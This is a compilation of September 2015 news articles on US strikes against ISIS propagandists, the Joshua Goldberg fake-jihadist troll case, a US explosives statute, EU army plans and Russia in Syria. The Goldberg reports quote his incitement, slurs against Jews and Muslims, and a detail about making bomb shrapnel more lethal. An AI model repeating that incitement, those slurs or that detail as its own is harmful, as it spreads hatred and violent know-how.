In recent weeks the American government hailed the targeted killings in airstrikes of both the important number two leader of ISIS, a longtime veteran jihadi named Fadhil Ahmad al-Hayali, as well as social media taunter Junaid Hussain, who some officials called a ''senior'' propagandist in ISIS -- though he was only nine years old when the U.S. invaded Iraq in 2003.
Hussain's claim to jihadi fame was his suspected role in leading the ''cyber caliphate'' from Raqqa, Syria, where, among other things, the young Briton tweeted a call to attack a ''draw the prophet'' contest in Garland, Texas, and circulated online the personal information culled from public records about random U.S. military members as a "kill list."
''A Twitter tough guy. You can't convince me that he wasn't a s--t target,'' one counter-terrorism official familiar with operations against ISIS told ABC News. Calling Hussain, 21, a ''senior'' member of ISIS, as some officials in Washington did when he was killed two weeks ago in the airstrike, would be like the Taliban announcing the capture of Army Pvt. Bowe Bergdahl by calling him a high-level U.S. military member who was a key to ground force operations conducted against them, the official said dismissively.
The hunt for ISIS leaders and the air and ground attacks against them is led by the U.S. Joint Special Operations Command with a hand from the CIA, under the direction of the Obama White House. ABC News has previously reported that one JSOC team has been tasked with hunting for ISIS video executioner Mohammed Emwazi, known in the media as Jihadi John.
''Wasting time on guys like him is how the big guys keep operating. The U.S. should be smoking leadership, not low level guys to appease the public,'' complained the counter-terrorism official, who spent time on the ground in Iraq over the years.
Some officials strongly defend the current strategy of placing bull's-eyes on both top tier ISIS leaders as well as propagandists such as Emwazi and Hussain and another ISIS figure on Twitter, Abu Rahin Aziz, who was killed by an airstrike immediately after tweeting calls in July to stage U.S. homeland attacks on Independence Day.
''We are the angel of death. This war is a propaganda war too. Why only limit it to military leaders? Should we be ignoring the propagandists that speak English and are tech savvy who know how to reach westerners?'' a senior counter-terrorism official knowledgeable about the counter-ISIS strategy told ABC News. ''I don't see why you would want to curtail either targeting strategy. This is also a war of ideas.''
Low-Hanging Fruit?Retired U.S. Army Lt. Gen. Michael Barbero, who was chief of operations in Baghdad during the U.S. ''surge'' strategy in 2007-2008 said ISIS is ''beating our brains out on social media,'' which is a ''huge competitive advantage.''
''But you don't attack that capability by only killing a spokesman,'' he said. ''You go after the servers, block the traffic, set up false networks, etcetera '-- you attack their network.''
Barbero, a frequent visitor to Iraq, said there has been a dearth of good intelligence on ISIS leadership targets, leading to an inefficient focus on low-hanging fruit such as the social media operatives and ISIS's grunt fighters in pickup trucks. ''If you have insufficient intel on the network, you attack what you can,'' he said.
''Junaid Hussain was a Twitter noisemaker and a hack hacker. He wasn't a first disseminator on anything important, as far as I can tell. Nothing at all in his profile leads me to think he'd be close to the inner circle of leadership,'' said ''ISIS: The State of Terror'' author J.M. Berger, who tracks jihadists online.
Hussain tweeted a call to attack the Garland event and gave a shout-out to, among many others, Elton Simpson, one of the two gunmen who tried to carry out a strike there but was killed by police. Officials have not publicly said yet whether Hussain and Simpson had any private communications before the gunfight.
''I have no problem with taking Hussain off the playing field. I'm not sure he was a 'high-value target' so much as a stalking horse for the real players,'' Berger said. ''He was annoying as hell but there's little evidence in open sources to support the idea he was any kind of mastermind. Obviously, if we ever see his private communications, they may tell a different story.''
The U.S. rarely announces its special operations successes or failures against ISIS, but it did so August 18 in the case of the death of ISIS deputy leader Fadhil Ahmad al-Hayali. At the time, White House National Security Council spokesperson Ned Price said that strike would ''adversely impact [ISIS]'s operations given that his influence spanned [ISIS]'s finance, media, operations, and logistics.''
''This is the kind of thing that's worth the resources,'' said the counter-terrorism official, as opposed to the money and effort being poured into the hunt for those like Hussain, Emwazi and the other ISIS mouthpieces.
'More Than a Mere Propagandist'While the White House declined to comment for this report on the targeting of propagandists in general, a senior administration official defended the targeting of Hussain specifically.
''We've been clear that Junaid Hussain was more than a mere propagandist. He was a key recruiter of Westerners and sought to direct attacks in the United States, specifically targeting U.S. military personnel and other government officials,'' the official said.
Seamus Hughes of the Program on Extremism at George Washington University, which tracks ISIS's social media gadflies and propagandists as well as recruiters and foreign fighters, agreed that Hussain deserved targeting because he had put U.S. troops' personal information online with a call to assassinate them.
''There is always going to be another more important target, but his removal from the battlefield is a win for the good guys,'' said Hughes, a former Senate investigator who recently left the U.S. National Counterterrorism Center.
None of the troops whose names were publicized by ISIS were attacked, however. If anything, the ''kill list'' served as a wakeup call to those in Special Operations and elsewhere in the military working on counter-terrorism operations to limit or sanitize their personal social media presence.
Other experts defended the broader strategy of taking high-profile propagandists and recruiters off the battlefield, as they could be more central to the fight than the public realizes.
After all, Yemeni-American Anwar al-Awlaki transitioned from being a Washington-based Muslim imam and pundit to becoming the mouthpiece for al Qaeda in the Arabian Peninsula and then, officials say, the group's external operations chief before the CIA killed him with a drone in 2011.
''Shoot your mouth off all you want. Eventually we are going to kill you,'' the senior counter-terrorism official said.
The targeting of English-speaking mouthpieces also achieves America's primary tactical, operational and strategic objectives at the same time, argues former top Obama Pentagon official Wendy Anderson. It's tactical because it keeps people moving, and when they move they leave a trail and make mistakes, she said. It's operational in that they must be replaced, which causes ISIS to communicate, move and replace someone. The strategic objective is disrupting their public message which reaches disenfranchised youth who are flowing to the battlefield from around the globe.
''So the English-speaking ISIS guy that is removed, in a drone strike for example, could equal a thousand potential fighters who never self-radicalize and leave home,'' said Anderson, who was a top aide and advisor to the current and former Secretaries of Defense.
Those involved in the widespread propaganda and recruiting strategy by ISIS -- waged effectively through social media -- have been targeted since the U.S. launched stepped up airstrikes in Iraq and Syria one year ago this month. While the ''provincial'' media teams ISIS has in occupied areas of the two countries have churned out dozens of short execution videos this year to demonstrate the self-declared Islamic State ''caliphate'' is carrying out Shariah law, there has not been a Jihad John beheading video in months and few of the long-form documentary-style videos with sophisticated graphics and messages have been released since last year.
The flow of foreign fighters continues to enter occupied territory, experts say, and ISIS may finally be directing plots inside western countries. On Monday, British Prime Minister David Cameron said his government had killed a British subject in Syria who was directing plots inside the U.K. After the slaughter of British tourists on a Tunisian beach this year, Cameron loosened restrictions on Special Air Service commandos for hunter-killer operations inside Syria, one official told ABC News.
But for all the debate over who exactly the U.S.-led coalition is killing, Ali Khedery, the longest-serving American diplomat in Baghdad, who also worked closely with JSOC, said tactical airstrikes '' whether they hit ISIS propagandists or leaders -- are masquerading as strategy in the absence of a real plan to destroy ISIS over the long term.
''Do not mistake tactics for strategy. We killed Osama bin Laden. I honestly don't think it had much effect on al Qaeda. We killed [al Qaeda-Iraq leader] Abu Musab al-Zarqawi. Guess what? It didn't matter,'' Khedery said. ''Taking out individuals in these organizations does not erode its ability to operate. You cannot destroy an ideology with drone strikes. Special operations or other covert action are critical enablers in a broad strategy that must continuously drive towards good governance, since bad governance is the root cause of ISIS's rise."
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'Terrorist' Troll Pretended to Be ISIS, White Supremacist, and Jewish Lawyer - The Daily Beast
Sun, 13 Sep 2015 13:05
LULZ09.11.156:25 PM ET
Joshua Goldberg posed as an Islamic radical and allegedly encouraged a terrorist to attack on September 11. That's just one of his online personas though.
When Joshua Goldberg wasn't posing as an Islamic radical, he was pretending to be a white supremacist'--and is accused of impersonating a Jewish lawyer.
Goldberg had several online personas: an Islamic radical who was popular in ISIS social media; a white supremacist on hate site Daily Stormer; a feminist on Daily Kos; a radical free-speech advocate on Q&A site Ask.fm, and a sympathizer with GamerGate. Goldberg is also accused of being behind a Times of Israel blog post that called Palestinians ''subhuman.''
Goldberg's trolling turned serious when he was arrested Thursday by the FBI on the grounds that he told a would-be terrorist how to build a bomb meant for a 9/11 attacks anniversary event in Kansas City, Missouri.
The 20-year-old, who lived at home with his parents and was described as a recluse by neighbors, was a prolific tweeter through accounts with various permutations of the name @auswitness. Goldberg was so successful at his game that he was even retweeted by one of the pro-ISIS gunmen who attacked a ''Draw Muhammad'' event in Garland, Texas, last May, according to the FBI.
''You might know me for inspiring the attacks in Garland, Texas, where two mujahideen entered an event mocking the Prophet Muhammad (PBUH) with intent to slaughter the kuffar in it,'' he boasted as Australi Witness in a post on Justpaste.it. ''All who defame the Prophet (PBUH) must be crushed.''
''Australi Witness'' claimed to have his own alter ego as a ''moderate'' Muslim who worked for major nonprofit groups like Amnesty International by day.
But it was Australi Witness's role in helping a confidential FBI informant plan an attack on the anniversary of 9/11 that brought Goldberg's trolling to an end. (The complaint alleges that Goldberg confessed ''in substance'' to being the voice behind Australi Witness and affiliated accounts.)
''You might know me for inspiring the attacks in Garland, Texas.''
''Hopefully there will be some jihad on the anniversary of 9/11,'' he wrote to the FBI informant through a direct messaging app as AusWitness on August 17, according to a criminal complaint.
His wish seemed to come true when the online friend proposed carrying out an attack. The friend said he lived near Kansas City and that a memorial in honor of firefighters who died on 9/11 might be the perfect target.
''Where do you think would be best near the firefighters or the crowd?'' the informant asked.
Goldberg egged him on.
''Good thinking, akhi [brother]. Put the backpack near the crowd,'' he allegedly wrote, adding that nails in the bomb should be soaked in rat poison to maximize their lethality.
Feds say Goldberg didn't deny pushing the man toward a real-life attack in interviews with them. Goldberg even allegedly confessed to it all, telling the FBI he believed that his instructions would work, that the other person was serious about making a bomb and ''would actually attempt to use them to kill and injure persons.''
Then Goldberg backtracked, according to the FBI, saying he hoped the wannabe terrorist would blow himself up making the bomb. If not, Goldberg said he would have called police just before the attack took place and then been hailed as a hero.
The FBI says in the complaint that it wasn't aware that Goldberg was not a real ISIS sympathizer when they began the investigation.
Goldberg, who comes from a Jewish family, had Australi Witness spout a special kind of rage when discussing Jews.
''The Jews are the worst enemies of Allah (SWT). When Islam conquers Australia, every single Jew will be slaughtered like the filthy cockroaches that they are,'' he wrote on JustPaste.it.
Goldberg as Australi Witness also threatened attacks on synagogues in Melbourne and Los Angeles on JustPaste.it and on 8Chan's Islamic State page.
He also had recurring obsessions with certain people and ideas, attacking them with one persona while praising them with another.
Posing as ''Michael Slay'' on white supremacist site Daily Stormer, he viciously attacked an Australian Muslim activist Mariam Veiszadeh, calling her a ''Moslem pig.'' Yet Goldberg praised Veiszadeh as Australi Witness, calling her his ''biggest inspiration.'' Yet another alleged online identity, MoonMetropolis, cheered grotesque caricatures of Veiszadeh.
Goldberg also had another alter ego, Tanya Cohen, whom he attacked using Michael Slay on the Daily Stormer. Cohen was evidently a parody of far-left social justice activists. Slay called her "a Jew bitch who specializes in writing about how the US needs to ban 'hate speech' and any other speech that goes against the Jewish cultural Marxist agenda." An email in Tanya Cohen's name was linked to Goldberg's IP address, and articles in her name appeared on Thought Catalog, Daily Kos, and Feministing's community site.
On Twitter, Goldberg frequently posted about Gamer Gate, a controversy about sexism in gaming that resulted in personal attacks on feminist activists. While Goldberg doesn't appear to have posted any threats on social media, his tweets used the hashtag #gamergate to mock people he had previously derided as "social justice warriors."
In articles published under the Moon Metropolis alias and under Goldberg's own name on Thought Catalog, he expresses the opinions of a free-speech fundamentalist.
''Nothing that anyone could possibly say could ever be worse than a law preventing them from saying it,'' he wrote. ''If you expressed the opinion that I should be killed, I would still defend your right to say that.''
On Thought Catalog, Goldberg wrote ''that neo-Nazis tend to look positively civil and rational when compared to SJWs [social justice warriors].''
A Facebook account for a Joshua Goldberg used the MoonMetropolis handle in its URL. The profile image matched the one used by MoonMetropolis on Twitter.
Goldberg's Australi Witness alter ego has also been tied to a hoax blog post on the Times of Israel's website that called Palestinians ''worthless subhuman beasts and vermin'' who have no right to live. It was published under Australian lawyer Josh Bornstein's name. (The post was retracted and the news outlet published an apology.)
One site noted in May that Australi Witness's Twitter account was obsessed with hounding Bornstein'--re-upping the fake blog post and asking how to find Bornstein's name. ''Michael Slay'' also wrote pieces about Bornstein on the Daily Stormer site, but all of his ''contributions'' have now been taken down on suspicion that he was behind the Bornstein hoax. Goldberg has not admitted to writing those articles, but the site claims he contacted them with an email tied to Goldberg in the criminal complaint.
Goldberg's father was reportedly broadsided by the charges against his son.
''You guys know more than we do at this point,'' he told the media, tersely.
Few online trolls ever pay for what they do, but the charge against Goldberg carries a maximum penalty of 20 years in federal prison.
Editor's Note: This story was updated throughout.
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18 U.S. Code § 842 - Unlawful acts | US Law | LII / Legal Information Institute
Sat, 12 Sep 2015 20:43
References in TextSection 101(a)(20) of the Immigration and Nationality Act, referred to in subsecs. (d)(7)(A) and (i)(5)(A), is classified to section 1101(a)(20) of Title 8, Aliens and Nationality.
The date of enactment of this subsection, referred to in subsecs. (m)(2), (n)(2), and (
o
), is the date of enactment of Pub. L. 104''132, which was approved Apr. 24, 1996.Amendments2003'--Subsec. (d)(7)(A). Pub. L. 108''177, §'¯372(a)(1), struck out ''or'' at end.
Subsec. (d)(7)(B). Pub. L. 108''177, §'¯372(a)(2), inserted ''or'' at end of cl. (i) and struck out cls. (iii) and (iv) which read as follows:
''(iii) is a member of a North Atlantic Treaty Organization (NATO) or other friendly foreign military force, as determined by the Secretary in consultation with the Secretary of Defense, (whether or not admitted in a nonimmigrant status) who is present in the United States under military orders for training or other military purpose authorized by the United States, and the shipping, transporting, possession, or receipt of explosive materials is in furtherance of the military purpose; or
''(iv) is lawfully present in the United States in cooperation with the Director of Central Intelligence, and the shipment, transportation, receipt, or possession of the explosive materials is in furtherance of such cooperation;''.
Subsec. (d)(7)(C), (D). Pub. L. 108''177, §'¯372(a)(3), added subpars. (C) and (D).
Subsec. (i)(5)(A). Pub. L. 108''177, §'¯372(b)(1), struck out ''or'' at end.
Subsec. (i)(5)(B). Pub. L. 108''177, §'¯372(b)(2), inserted ''or'' at end of cl. (i) and struck out cls. (iii) and (iv) which read as follows:
''(iii) is a member of a North Atlantic Treaty Organization (NATO) or other friendly foreign military force, as determined by the Secretary in consultation with the Secretary of Defense, (whether or not admitted in a nonimmigrant status) who is present in the United States under military orders for training or other military purpose authorized by the United States, and the shipping, transporting, possession, or receipt of explosive materials is in furtherance of the military purpose; or
''(iv) is lawfully present in the United States in cooperation with the Director of Central Intelligence, and the shipment, transportation, receipt, or possession of the explosive materials is in furtherance of such cooperation;''.
Subsec. (i)(5)(C), (D). Pub. L. 108''177, §'¯372(b)(3), added subpars. (C) and (D).
2002'--Subsec. (a)(3), (4). Pub. L. 107''296, §'¯1122(b)(1), (2), added pars. (3) and (4) and struck out former par. (3) which read as follows: ''other than a licensee or permittee knowingly'--
''(A) to transport, ship, cause to be transported, or receive in interstate or foreign commerce any explosive materials, except that a person who lawfully purchases explosive materials from a licensee in a State contiguous to the State in which the purchaser resides may ship, transport, or cause to be transported such explosive materials to the State in which he resides and may receive such explosive materials in the State in which he resides, if such transportation, shipment, or receipt is permitted by the law of the State in which he resides; or
''(B) to distribute explosive materials to any person (other than a licensee or permittee) who the distributor knows or has reasonable cause to believe does not reside in the State in which the distributor resides.''
Subsec. (b). Pub. L. 107''296, §'¯1122(b)(3), added subsec. (b) and struck out former subsec. (b) which read as follows: ''It shall be unlawful for any licensee knowingly to distribute any explosive materials to any person except'--
''(1) a licensee;
''(2) a permittee; or
''(3) a resident of the State where distribution is made and in which the licensee is licensed to do business or a State contiguous thereto if permitted by the law of the State of the purchaser's residence.''
Subsec. (d)(6). Pub. L. 107''296, §'¯1123(a)(2), substituted ''or who has been committed to a mental institution;'' for period at end.
Subsec. (d)(7) to (9). Pub. L. 107''296, §'¯1123(a)(1), (3), added pars. (7) to (9).
Subsec. (f). Pub. L. 107''296, §'¯1112(e)(3), substituted ''Attorney General'' for ''Secretary''.
Subsec. (i). Pub. L. 107''296, §'¯1123(b)(3), inserted ''or affecting'' before ''interstate'' in two places in concluding provisions.
Subsec. (i)(5) to (7). Pub. L. 107''296, §'¯1123(b)(1), (2), added pars. (5) to (7).
Subsecs. (j), (k), (
o
). Pub. L. 107''296, §'¯1112(e)(3), substituted ''Attorney General'' for ''Secretary'' wherever appearing.1999'--Subsec. (p). Pub. L. 106''54 added subsec. (p).
1996'--Subsec. (h). Pub. L. 104''132, §'¯707, amended subsec. (h) generally. Prior to amendment, subsec. (h) read as follows: ''It shall be unlawful for any person to receive, conceal, transport, ship, store, barter, sell, or dispose of any explosive materials knowing or having reasonable cause to believe that such explosive materials were stolen.''
Subsecs. (
l
) to (o
). Pub. L. 104''132, §'¯603, added subsecs. (l
) to (o
).1994'--Subsec. (d). Pub. L. 103''322, §'¯110516, substituted ''any person'' for ''any licensee'' in introductory provisions.
Subsec. (i). Pub. L. 103''322, §'¯110508, inserted ''or possess'' after ''receive'' in concluding provisions.
1990'--Subsec. (d)(5). Pub. L. 101''647, §'¯3521(1), substituted '';'or'' for a period.
Subsec. (i)(3). Pub. L. 101''647, §'¯3521(2), substituted '';'or'' for a period.
1988'--Subsec. (d)(5). Pub. L. 100''690, §'¯6474(c), amended par. (5) generally. Prior to amendment, par. (5) read as follows: ''is an unlawful user of marihuana (as defined in section 4761 of the Internal Revenue Code of 1954) or any depressant or stimulant drug (as defined in section 201(v) of the Federal Food, Drug, and Cosmetic Act) or narcotic drug (as defined in section 4721(a) of the Internal Revenue Code of 1954); or''.
Subsec. (i)(3). Pub. L. 100''690, §'¯6474(d), amended par. (3) generally. Prior to amendment, par. (3) read as follows: ''who is an unlawful user of or addicted to marihuana (as defined in section 4761 of the Internal Revenue Code of 1954) or any depressant or stimulant drug (as defined in section 201(v) of the Federal Food, Drug, and Cosmetic Act) or narcotic drug (as defined in section 4731(a) of the Internal Revenue Code of 1954); or''.
FBI says 'Australian IS jihadist' is actually a Jewish American troll named Joshua Ryne Goldberg
Sat, 12 Sep 2015 20:39
Joshua Ryne GoldbergPhoto: Facebook
A young Jewish American man has been charged with pretending to be an Australian-based Islamic State jihadist after a FBI joint investigation with the Australian Federal Police based on information provided by Fairfax Media.
Joshua Ryne Goldberg, a 20-year old living at his parents' house in US state of Florida, is accused of posing online as "Australi Witness," an IS supporter who publicly called for a series of attacks against individuals and events in western countries.
In recent days Australi Witness has claimed online that he is working with other jihadists to plan attacks in Australia and the United States. He distributed pictures of a bomb that he was working on with "2 lbs of explosives inside".
The device appears to resemble a "pressure cooker bomb", similar to the type of explosive used in the Boston Marathon attack.
Early on Friday, Australian time, Goldberg was arrested at his home by Florida police for "distribution of information relating to explosives, destructive devices, and weapons of mass destruction".
An affidavit sworn in the case says that, between August 19 and August 28, Mr Goldberg "distributed information pertaining to the manufacturing of explosives, destructive devices, or weapons of mass destruction in furtherance of an activity that constitutes a Federal crime of violence".
US Attorney Lee Bentley III, said Goldberg instructed a confidential source how to make a bomb similar to two used in the Boston Marathon bombings two years ago that killed that killed three people and injured more than 260 others.
He's accused of instructing someone how to fill it with nails, metal and other items dipped in rat poison.
Police base the charge on his communication of five web links to sites that provided instructions that could be used to make explosives as part of a plot to explode a bomb on September 13 at a memorial ceremony in Kansas City, commemorating the 9/11 the terrorist attacks.
The affidavit, released by Special agent William Berry of US Customs and Border Protection, says that Goldberg had initially denied to officers that he had any involvement with distributing information on how to make a bomb, but then later admitted it.
"Goldberg further admitted that he believed the information would create a genuine bomb," Agent Berry alleged.
However, Goldberg also claimed that he meant for the person he was communicating with to either kill himself creating the bomb or, that Goldberg intended to warn police in time that he would receive "credit for stopping the attack".
In conversations with Fairfax Media, which were also cited in the affidavit, Mr Goldberg had said he did not expect any jihadist to actually carry out an attack because: "These guys are pussy keyboard warriors".
Fairfax media can also reveal that Goldberg, as Australi Witness, is suspected of a number of other online hoaxes, including posing online as prominent Australian lawyer Josh Bornstein.
Australi Witness's online actions might have had fatal real-world consequences in May.
In the leadup to an exhibition in Garland, Texas, at which pictures of the Prophet Mohammed were to be displayed, "Australi Witness" tweeted the event's address and reposted a tweet urging people to go there with "weapons, bombs or with knifes".
Two Muslim men attempted an attack at the exhibition, and were killed by police. Australi Witness then praised them online as martyrs.
A tweet from Australi Witness.Photo: Twitter
Australi Witness also urged followers to target Australian cartoonist Larry Pickering, who has previously depicted the Prophet Mohammed.
The Australi Witness persona fooled members of the international intelligence community as well as journalists, with well-known analyst Rita Katz of SITE Intelligence Group saying the "IS supporter" held a "prestige" position in online jihadi circles and was "part of the hard core of a group of individuals who constantly look for targets for other people to attack".
Ms Katz has previously acted as a consultant for US and foreign governments and testified before Congress on online terrorist activities.
The Australian Federal Police were unaware of Australi Witness's real identity as Goldberg until contacted by journalists working on behalf of Fairfax Media.
In the Bornstein hoax, Goldberg established a blog on the Times of Israel in the lawyer's name before posting an inflammatory article calling for the "extermination" of Palestinians. The Timesretracted the article and apologised, and Bornsteinwent public with the story saying "I deplore racism'...I've fought racism since I was four years old".When confronted, Goldberg boasted he had avoided detection, saying, "That guy has no idea. He thinks Daily Stormer did it." He also said he wanted to obtain Bornstein's real life address, in order to "freak him out even more".
In conversations and in articles written under his real name, Goldberg repeatedly professed to be an advocate for free speech, and showed disdain for organisations and individuals who call for limits on hate speech or hate speech laws. Bornstein and Veiszadeh are known for advocating in this area.
As Australi Witness, he publicly linked himself to Amnesty International, saying that he used to work there. The fake jihadi also claimed a friendship with lawyer and anti-Islamophobia campaigner, Mariam Veiszadeh..
In online conversations, Goldberg said: "I wanna smear Amnesty and Mariam Veiszadeh'...Amnesty is already in hot water over their links to CAGE, I wanna cement their jihadist connections and ruin their reputation. And Mariam is a Muslim whore, so smearing her as a jihadist should be easy."
Ms Veiszadeh said she was not suprised at Goldberg's arrest, saying she had "fallen within his radar" because of the campaign by an anti-Muslim hate group, the Australian Defence League, who campaigned to "incite hatred and violence towards me from across the globe."
Comment has been sought from Mr Bornstein.
Florida Man Indicted for Telling Informant to Carry Out 9/11 Bombing
Fri, 11 Sep 2015 05:56
20-year-old Joshua Ryne Goldberg of Orange Park, Florida, was arrested and indicted today on charges of ''distributing information relating to explosives,'' related to a non-existent bomb plot against the 9/11 memorial in Kansas City.
Goldberg, who on Twitter pretended to be a Lebanese refugee living in Australia, was in contact with an FBI informant online, and provided him with details on how to construct a pressure cooker bomb. Goldberg assumed the informant would do the bombing, and encouraged him to do ''some jihad'' on the 9/11 anniversary.
How accurate Goldberg's instructions were is not clear, though he is quoted as encouraging the informant to ''just put as much sharp stuff as you can in there'' to cause maximum damage. He apparently did not intend to attend the bombing himself, and intended the informant do everything.
Goldberg had previously claimed credit on Twitter for inspiring the Garlard, TX attack in May, when gunmen attacked a Muhammad art contest. At the time Goldberg had Tweeted that people should attack the exhibition with ''weapons, bombs, and knives.'' It was after the attack that the FBI informant contacted him and began the ''plot.''
Last 5 posts by Jason Ditz
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Honderden Turken demonstreren in Amsterdam tegen de PKK
Fri, 11 Sep 2015 05:54
Foto: (C) ZamanIn Amsterdam hebben donderdagavond honderden Turkse Nederlanders gedemonstreerd tegen de tegen het geweld van de terroristische organisatie PKK in Turkije.
Ze liepen met Turkse vlaggen van de Westermarkt naar het Leidseplein. De politie zegt dat tot zevenhonderd betogers op de been waren. Er was vergunning voor de demonstratie verleend. Er deden zich geen noemenswaardige incidenten voor. Turkije en de PKK hebben de afgelopen weken veelvuldig strijd met elkaar geleverd. Een bestand tussen de partijen is in juli verbroken. Zondag kwamen 16 militairen om bij een PKK-aanval in de Zuidoost-Turkse provincie Hakkari en dinsdag 13 agenten na een aanval op een politiebusje nabij Hasanhan in de Oost-Turkse provincie Iğdır.
ANP/Zaman Vandaag
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EuroLand
Merkel 'expects Cameron to back EU army' in exchange for renegotiation - Telegraph
Sun, 13 Sep 2015 05:11
"If Cameron wants a 'flexible Europe', he must let other members integrate further. Yes - opt out, opt out, opt out - and then shut up.''
The creation of an EU army could marginalise Britain within Nato, and result in the United States downgrading the special relationship with Britain in favour of Paris and Berlin, experts warn.
While Mr Cameron backs tighter Eurozone integration, he faces a dilemma over whether the risk of a diminished strategic position is a price worth paying in his renegotiation.
The Telegraph has seen an unpublished position paper drawn up by Mrs Merkel's party, the CDU, that sets out a detailed 10-point plan for military co-operation in Europe.
It is understood to closely reflect her thinking, and calls for a permanent EU military HQ, combined weapons procurement and a shared military doctrine.
The paper says it is ''urgent'' to integrate armed forces ''in the face of multifaceted crises''.
It calls for ''a permanent structured and coordinated cooperation of national armed forces in the medium term.
''In the long run, this process should according to the present German coalition agreement lead also to a European Army subject to Parliamentarian control.''
It adds: ''In the framework of NATO, a uniform European pillar will be more valuable and efficient for the USA than with the present rag-rug characterised by a lack of joint European planning, procurement, and interoperability.''
A similar paper has been circulated by Elmar Brok, a key Merkel ally, within the EPP party group in the European Parliament. It describes the lack of an EU military headquarters as "absurd".
Frances Burwell, vice president of the US-based Atlantic Council think tank, said the United States would welcome integration to make wasteful European defence spending more efficient.
However, the special relationship could be ''downgraded'' if Britain refused to join, in favour of the ''very active'' French military.
''In combination with the discussion about whether Britain will leave the EU, it would contribute to a downgrading,'' she said.
"If you did something like that, the natural leaders would be France and Germany and we'd have to spend a lot of time with them.''
''There used to be no doubt about who we would call first - but things are now more complicated.''
Mrs Merkel is backing a push by Mr Juncker to create an EU army.
Earlier this year his defence adviser, Michel Barnier, issued a paper through the EU's in-house think tank calling for permanent military integration using legal mechanisms known as PESCO created by the Lisbon Treaty of 2009.
Under the treaty, Britain could not be forced to join a joint army, but it cannot veto its creation.
The paper proposes an Operational Headquarters, a European Medical Command and a Joint Helicopter Wing as first steps under a project that would save billions in duplication between countries.
Since 2007 the EU has had two rotating emergency battlegroups of 1,500 men, but they have never seen combat - something Mr Barnier dubs a ''failure'' that ''must be addressed''.
A combined military is necessary ''in order to become a vector of the EU as a global actor,'' and to ''significantly strengthen the European pillar within NATO'', the paper says.
It notes: ''UK does not share an interest in a closely integrated European defence, whereas Germany and France, together with the Benelux countries, Italy, Spain and more recently Poland are more open to the idea.''
It adds: ''Clearly, security in Europe is today high in demand and low in supply, begging the question: ''If not now, when?''
In a major address on Wednesday, Mr Juncker said Britain's renegotiation will ''recognise the reality'' it has special opt outs on policy. But crucially, he added: ''To be fair to the other member states, the UK's choices must not prevent them from further integration where they see fit.''
Mr Juncker proposed powerful EU institutions that Britain would not be obliged to join, including a Eurozone treasury, a border and coast guard, a 'green card' system of legal immigration and a new raft of laws regulating pay and conditions.
A common EU army has been a goal of European integrationists for sixty years, but Britain has long been a major obstacle. Mr Cameron pledged to oppose ''notions like an EU army'' in the 2015 Conservative manifesto, and has repeatedly attacked the idea as Prime Minister.
Geoffrey Van Orden, a Conservative MEP and retired British Army brigadier, said allowing a European army is ''too high a price to pay'' for Britain's renegotiation.
It could form a powerful caucus within Nato, and the United States would conclude ''we no longer had any influence on the continent'' and downgrade its relationship.
It could also result in Britain being shut out the lucrative defence equipment market in Europe, he said.
''I have always suspected that we were willing to make concessions in relation to foreign policy in exchange for French and German support in other areas,'' he said.
''I don't accept we should have to pay this price. We should not trade away something so strategically important for some minor concessions in terms of reform.''
Jan Techau, director of Carnegie Europe, a policy think tank, said defence integration ''will probably come up'' during the renegotiation talks with Germany.
However, securing Mr Cameron's backing for political integration of the Eurozone is a far higher priority for Mrs Merkel, he said.
''It is too important for Britain not to mention it. But my feeling is it is not going to be one of the crucial issues,'' he said.
A Government spokesman said: "The British public are clear that they are not happy with the status quo, and the PM is determined to address those concerns."
A source added: "This is just yet more of the noise and speculation we said there would be during the negotiations."
F-Russia
Russia to U.S.: talk to us on Syria or risk 'unintended incidents' | Top News | Reuters
Sat, 12 Sep 2015 20:10
By Christian Lowe and Julia Edwards
MOSCOW/WASHINGTON (Reuters) - Russia called on Friday for military-to-military cooperation with the United States to avert "unintended incidents" as it stages navy exercises off the coast of Syria, where U.S. officials believe Moscow is building up forces to protect President Bashar al-Assad.
The United States is using Syrian air space to lead a campaign of air strikes against Islamic State, and a greater Russian presence raises the prospect of the Cold War superpower foes encountering each other on the battlefield.
Both Moscow and Washington say their enemy is Islamic State, whose Islamist fighters control large parts of Syria and Iraq. But Russia supports the government of Assad in Syria, while the United States says his presence makes the situation worse.
In recent days, U.S. officials have described what they say is an increase of Russian equipment and manpower.
President Barack Obama said this would not change U.S. strategy in countering Islamic State fighters, which includes U.S. planes leading an international coalition in airstrikes in Syria.
"But we are going to be engaging Russia to let them know that you can't continue to double-down on a strategy that is doomed to failure," he said at an event with military service members during a visit to Maryland.
In the latest reports, two Western officials and a Russian source told Reuters Moscow is sending advanced SA-22 anti-aircraft missiles to Syria. The system would be operated by Russian troops, rather than Syrians, the Western officials said.
U.S. officials in Washington also said they believed about 200 Russian naval infantry forces were now stationed at an airfield near the Syrian city of Latakia, an Assad stronghold, and that the number had increased in recent days.
PREPARING SYRIAN AIRFIELD
One official estimated that the majority of the forces were involved in preparing the airfield for future use.
Lebanese sources have told Reuters that at least some Russian troops are now engaged in combat operations in support of Assad's forces. Moscow has declined to comment on those reports.
Obama said Russia would have to start using diplomacy rather than force to counter the influence of Islamic State militants. He said the group posed more of a threat to Russia than to the United States because of the country's large Muslim population.
At a news conference in Moscow, Foreign Minister Sergei Lavrov said Russia was sending equipment to help Assad fight Islamic State. Russian servicemen were in Syria, he said, primarily to help service that equipment and teach Syrian soldiers how to use it.
Russian naval exercises in the eastern Mediterranean were long-planned and in accordance with international law, he said.
A source close to the Russian navy told Reuters a squadron of five Russian ships equipped with guided missiles had set off to conduct maneuvers in Syrian waters.
"They will train to repulse an attack from the air and to defend the coast, which means firing artillery and testing short-range air defense systems, " the source said, adding that the exercise had been agreed with the Syrian government.
Russia has given notice of several rounds of navy drills with rocket firing tests in the sea off Syria from Sept. 8 to Oct. 7, according to Cypriot aviation authorities and international governmental databases of notices for airmen. Some flight paths will be temporarily closed.
UNDESIRED, UNINTENDED
Lavrov blamed Washington for cutting off direct military-to-military communication between Russia and NATO after the crisis in Ukraine last year. Such contacts were "important for the avoidance of undesired, unintended incidents", Lavrov said.
"We are always in favor of military people talking to each other in a professional way. They understand each other very well," Lavrov said. "If, as (U.S. Secretary of State) John Kerry has said many times, the United States wants those channels frozen, then be our guest."
U.S. officials say they do not know what Moscow's intentions are in Syria. Momentum in Syria's 4-year-old civil war has been shifting against Assad's government, which has suffered battlefield setbacks this year at the hands of an array of insurgent groups.
Moscow, an ally of Damascus since the Cold War, maintains its only Mediterranean naval base at Tartous on the Syrian coast, and defending it would be a strategic aim.
In recent months NATO-member Turkey has also raised the prospect of outside powers playing a greater role in Syria, proposing a "safe zone" near its border, kept free of both Islamic State and government troops.
